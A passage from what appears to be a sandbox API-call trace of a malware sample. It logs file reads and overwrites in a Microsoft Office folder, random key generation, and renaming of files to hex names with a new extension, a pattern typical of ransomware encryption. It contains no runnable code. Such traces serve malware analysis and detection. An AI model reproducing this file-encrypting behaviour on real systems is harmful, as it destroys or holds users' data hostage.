(HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42928ed0 [0180.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd93e0 [0180.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd92f0 [0180.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd92f0) returned 1 [0180.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0180.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c290) returned 1 [0180.510] WriteFile (in: hFile=0x1ed8, lpBuffer=0x42928ed0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3f8df5c0, lpOverlapped=0x0 | out: lpBuffer=0x42928ed0*, lpNumberOfBytesWritten=0x3f8df5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42928ed0) returned 1 [0198.046] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x65be2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.046] ReadFile (in: hFile=0x1ed8, lpBuffer=0x42231180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3f8df5c0, lpOverlapped=0x0 | out: lpBuffer=0x42231180*, lpNumberOfBytesRead=0x3f8df5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.440] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x65be2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0198.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0198.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135b60 [0198.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135b60) returned 1 [0198.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fe2d00 [0198.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135b60 [0198.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135980 [0198.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135980) returned 1 [0198.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0198.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0198.444] WriteFile (in: hFile=0x1ed8, lpBuffer=0x41fe2d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3f8df5c0, lpOverlapped=0x0 | out: lpBuffer=0x41fe2d00*, lpNumberOfBytesWritten=0x3f8df5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fe2d00) returned 1 [0213.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f600 [0213.809] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.809] WriteFile (in: hFile=0x1ed8, lpBuffer=0x1343c0*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x3f8df670, lpOverlapped=0x0 | out: lpBuffer=0x1343c0*, lpNumberOfBytesWritten=0x3f8df670*=0x156, lpOverlapped=0x0) returned 1 [0216.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc00 [0216.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0216.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202642f0 [0216.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202642f0) returned 1 [0216.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202642f0 [0216.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266060 [0216.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266030 [0216.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266030) returned 1 [0216.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0216.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0216.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9d8b0 [0216.440] sprintf (in: _Dest=0x1cd9d8b0, _Format="%c%c" | out: _Dest="49") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8b2, _Format="%c%c" | out: _Dest="80") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8b4, _Format="%c%c" | out: _Dest="10") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8b6, _Format="%c%c" | out: _Dest="f0") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8b8, _Format="%c%c" | out: _Dest="ad") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8ba, _Format="%c%c" | out: _Dest="a4") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8bc, _Format="%c%c" | out: _Dest="2b") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8be, _Format="%c%c" | out: _Dest="99") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8c0, _Format="%c%c" | out: _Dest="97") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8c2, _Format="%c%c" | out: _Dest="62") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8c4, _Format="%c%c" | out: _Dest="b8") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8c6, _Format="%c%c" | out: _Dest="17") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8c8, _Format="%c%c" | out: _Dest="75") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8ca, _Format="%c%c" | out: _Dest="3f") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8cc, _Format="%c%c" | out: _Dest="32") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8ce, _Format="%c%c" | out: _Dest="e5") returned 2 [0216.441] sprintf (in: _Dest=0x1cd9d8d0, _Format="%c%c" | out: _Dest="c1") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8d2, _Format="%c%c" | out: _Dest="03") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8d4, _Format="%c%c" | out: _Dest="ce") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8d6, _Format="%c%c" | out: _Dest="8c") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8d8, _Format="%c%c" | out: _Dest="3e") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8da, _Format="%c%c" | out: _Dest="a0") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8dc, _Format="%c%c" | out: _Dest="0a") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8de, _Format="%c%c" | out: _Dest="a4") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8e0, _Format="%c%c" | out: _Dest="c7") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8e2, _Format="%c%c" | out: _Dest="30") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8e4, _Format="%c%c" | out: _Dest="bb") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8e6, _Format="%c%c" | out: _Dest="e3") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8e8, _Format="%c%c" | out: _Dest="1f") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8ea, _Format="%c%c" | out: _Dest="20") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8ec, _Format="%c%c" | out: _Dest="74") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8ee, _Format="%c%c" | out: _Dest="ac") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8f0, _Format="%c%c" | out: _Dest="4b") returned 2 [0216.442] sprintf (in: _Dest=0x1cd9d8f2, _Format="%c%c" | out: _Dest="84") returned 2 [0216.443] sprintf (in: _Dest=0x1cd9d8f4, _Format="%c%c" | out: _Dest="5d") returned 2 [0216.443] sprintf (in: _Dest=0x1cd9d8f6, _Format="%c%c" | out: _Dest="c4") returned 2 [0216.443] RtlInitAnsiString (in: DestinationString=0x3f8df6e8, SourceString="498010f0ada42b999762b817753f32e5c103ce8c3ea00aa4c730bbe31f2074ac4b845dc4" | out: DestinationString="498010f0ada42b999762b817753f32e5c103ce8c3ea00aa4c730bbe31f2074ac4b845dc4") [0216.443] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f8df6b8, SourceString="498010f0ada42b999762b817753f32e5c103ce8c3ea00aa4c730bbe31f2074ac4b845dc4", AllocateDestinationString=1 | out: DestinationString="498010f0ada42b999762b817753f32e5c103ce8c3ea00aa4c730bbe31f2074ac4b845dc4") returned 0x0 [0216.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4318b1c0 [0216.443] wcscat (in: _Dest=0x4318b120, _Source="498010f0ada42b9997" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\498010f0ada42b9997") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\498010f0ada42b9997" [0216.443] wcscat (in: _Dest=0x4318b120, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\498010f0ada42b9997.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\498010f0ada42b9997.2f9b60" [0216.443] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\498010f0ada42b9997.2f9b60", NtPathName=0x3f8df690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\498010f0ada42b9997.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4312b4a0 [0242.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312b4a0) returned 1 [0242.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b79b0) returned 1 [0242.670] NtQueryInformationFile (in: FileHandle=0x1ed8, IoStatusBlock=0x3f8df6f8, FileInformation=0x3f8df708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f8df6f8, FileInformation=0x3f8df708) returned 0x0 [0242.670] NtSetInformationFile (FileHandle=0x1ed8, IoStatusBlock=0x3f8df6f8, FileInformation=0x3f8df708, Length=0x28, FileInformationClass=0x4) Thread: id = 2255 os_tid = 0xc3c [0143.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 0x20 [0145.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC", dwFileAttributes=0x20) returned 1 [0146.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1afc [0146.341] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x3f54f880 | out: lpFileSize=0x3f54f880*=666) returned 1 [0146.341] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x296, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.341] ReadFile (in: hFile=0x1afc, lpBuffer=0x3f54f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f54f848, lpOverlapped=0x0 | out: lpBuffer=0x3f54f800*, lpNumberOfBytesRead=0x3f54f848*=0x4, lpOverlapped=0x0) returned 1 [0146.364] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0146.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0146.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0146.365] NtQuerySystemTime (in: CurrentTime=0x3f54f740 | out: CurrentTime=0x3f54f740*=132462177516082000) returned 0x0 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x18d13599 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x6efcce3d [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x58ede6b3 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x64b2fa4e [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x6117bf4f [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x4a4cb582 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x7016e265 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x568762f4 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x63e9688f [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x68a882cc [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x4b0e9bec [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x98eeff2 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x2d92adeb [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x173a916 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x315f1b69 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x4929bb69 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x2f647645 [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x480c29dd [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x3847b3ca [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x1b01670c [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x53dc0ab [0146.365] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x6f35ddf9 [0146.366] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x469da16 [0146.366] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0xbbab3ab [0146.366] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x2de49eb7 [0146.366] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x658772fb [0146.366] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x1c520222 [0146.366] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x77245bf5 [0146.366] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x68c7d9de [0146.366] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x6f250e2f [0146.366] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x15cafce2 [0146.366] RtlRandomEx (in: Seed=0x3f54f730 | out: Seed=0x3f54f730) returned 0x3e610c4f [0146.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0146.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0146.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0146.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0146.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0146.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0146.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0146.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42225d50 [0146.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42231180 [0146.379] ReadFile (in: hFile=0x1afc, lpBuffer=0x42225d50, nNumberOfBytesToRead=0x29a, lpNumberOfBytesRead=0x3f54f730, lpOverlapped=0x0 | out: lpBuffer=0x42225d50*, lpNumberOfBytesRead=0x3f54f730*=0x29a, lpOverlapped=0x0) returned 1 [0146.380] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.380] WriteFile (in: hFile=0x1afc, lpBuffer=0x42231180*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x3f54f734, lpOverlapped=0x0 | out: lpBuffer=0x42231180*, lpNumberOfBytesWritten=0x3f54f734*=0x29a, lpOverlapped=0x0) returned 1 [0146.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0146.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42231180) returned 1 [0146.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42225d50) returned 1 [0146.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x420590b0 [0146.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059100 [0146.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059bf0 [0146.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0146.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0146.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0146.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11e) returned 0x1b7d3a20 [0146.424] SetFilePointerEx (in: hFile=0x1afc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.424] WriteFile (in: hFile=0x1afc, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f54f850, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x3f54f850*=0x11e, lpOverlapped=0x0) returned 1 [0146.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0146.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6bd0) returned 1 [0146.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f5b0 [0146.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0146.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0146.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6c90) returned 1 [0146.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1ced9010 [0146.438] sprintf (in: _Dest=0x1ced9010, _Format="%c%c" | out: _Dest="2f") returned 2 [0146.438] sprintf (in: _Dest=0x1ced9012, _Format="%c%c" | out: _Dest="46") returned 2 [0146.438] sprintf (in: _Dest=0x1ced9014, _Format="%c%c" | out: _Dest="82") returned 2 [0146.438] sprintf (in: _Dest=0x1ced9016, _Format="%c%c" | out: _Dest="5e") returned 2 [0146.438] sprintf (in: _Dest=0x1ced9018, _Format="%c%c" | out: _Dest="40") returned 2 [0146.438] sprintf (in: _Dest=0x1ced901a, _Format="%c%c" | out: _Dest="78") returned 2 [0146.439] sprintf (in: _Dest=0x1ced901c, _Format="%c%c" | out: _Dest="4f") returned 2 [0146.439] sprintf (in: _Dest=0x1ced901e, _Format="%c%c" | out: _Dest="ed") returned 2 [0146.439] sprintf (in: _Dest=0x1ced9020, _Format="%c%c" | out: _Dest="7b") returned 2 [0146.439] sprintf (in: _Dest=0x1ced9022, _Format="%c%c" | out: _Dest="9e") returned 2 [0146.439] sprintf (in: _Dest=0x1ced9024, _Format="%c%c" | out: _Dest="24") returned 2 [0146.439] sprintf (in: _Dest=0x1ced9026, _Format="%c%c" | out: _Dest="c3") returned 2 [0146.439] sprintf (in: _Dest=0x1ced9028, _Format="%c%c" | out: _Dest="8a") returned 2 [0146.439] sprintf (in: _Dest=0x1ced902a, _Format="%c%c" | out: _Dest="b1") returned 2 [0146.439] sprintf (in: _Dest=0x1ced902c, _Format="%c%c" | out: _Dest="fb") returned 2 [0146.439] sprintf (in: _Dest=0x1ced902e, _Format="%c%c" | out: _Dest="51") returned 2 [0146.439] sprintf (in: _Dest=0x1ced9030, _Format="%c%c" | out: _Dest="c3") returned 2 [0146.439] sprintf (in: _Dest=0x1ced9032, _Format="%c%c" | out: _Dest="68") returned 2 [0146.439] sprintf (in: _Dest=0x1ced9034, _Format="%c%c" | out: _Dest="f1") returned 2 [0146.439] sprintf (in: _Dest=0x1ced9036, _Format="%c%c" | out: _Dest="9c") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9038, _Format="%c%c" | out: _Dest="33") returned 2 [0146.440] sprintf (in: _Dest=0x1ced903a, _Format="%c%c" | out: _Dest="88") returned 2 [0146.440] sprintf (in: _Dest=0x1ced903c, _Format="%c%c" | out: _Dest="64") returned 2 [0146.440] sprintf (in: _Dest=0x1ced903e, _Format="%c%c" | out: _Dest="4d") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9040, _Format="%c%c" | out: _Dest="d5") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9042, _Format="%c%c" | out: _Dest="fe") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9044, _Format="%c%c" | out: _Dest="48") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9046, _Format="%c%c" | out: _Dest="9c") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9048, _Format="%c%c" | out: _Dest="12") returned 2 [0146.440] sprintf (in: _Dest=0x1ced904a, _Format="%c%c" | out: _Dest="25") returned 2 [0146.440] sprintf (in: _Dest=0x1ced904c, _Format="%c%c" | out: _Dest="20") returned 2 [0146.440] sprintf (in: _Dest=0x1ced904e, _Format="%c%c" | out: _Dest="15") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9050, _Format="%c%c" | out: _Dest="fa") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9052, _Format="%c%c" | out: _Dest="c5") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9054, _Format="%c%c" | out: _Dest="6a") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9056, _Format="%c%c" | out: _Dest="cc") returned 2 [0146.440] sprintf (in: _Dest=0x1ced9058, _Format="%c%c" | out: _Dest="c1") returned 2 [0146.440] sprintf (in: _Dest=0x1ced905a, _Format="%c%c" | out: _Dest="ff") returned 2 [0146.440] sprintf (in: _Dest=0x1ced905c, _Format="%c%c" | out: _Dest="67") returned 2 [0146.440] sprintf (in: _Dest=0x1ced905e, _Format="%c%c" | out: _Dest="9f") returned 2 [0146.441] sprintf (in: _Dest=0x1ced9060, _Format="%c%c" | out: _Dest="ca") returned 2 [0146.441] sprintf (in: _Dest=0x1ced9062, _Format="%c%c" | out: _Dest="2b") returned 2 [0146.441] sprintf (in: _Dest=0x1ced9064, _Format="%c%c" | out: _Dest="3f") returned 2 [0146.441] sprintf (in: _Dest=0x1ced9066, _Format="%c%c" | out: _Dest="c0") returned 2 [0146.441] RtlInitAnsiString (in: DestinationString=0x3f54f8c8, SourceString="2f46825e40784fed7b9e24c38ab1fb51c368f19c3388644dd5fe489c12252015fac56accc1ff679fca2b3fc0" | out: DestinationString="2f46825e40784fed7b9e24c38ab1fb51c368f19c3388644dd5fe489c12252015fac56accc1ff679fca2b3fc0") [0146.441] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f54f898, SourceString="2f46825e40784fed7b9e24c38ab1fb51c368f19c3388644dd5fe489c12252015fac56accc1ff679fca2b3fc0", AllocateDestinationString=1 | out: DestinationString="2f46825e40784fed7b9e24c38ab1fb51c368f19c3388644dd5fe489c12252015fac56accc1ff679fca2b3fc0") returned 0x0 [0146.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1ce224a0 [0146.441] RtlFreeAnsiString (AnsiString="2") [0146.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9010) returned 1 [0146.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0146.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6bd0) returned 1 [0146.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0146.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0146.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0146.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0146.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8100) returned 1 [0146.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0146.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050b8a0 [0146.443] wcscat (in: _Dest=0x2050b8a0, 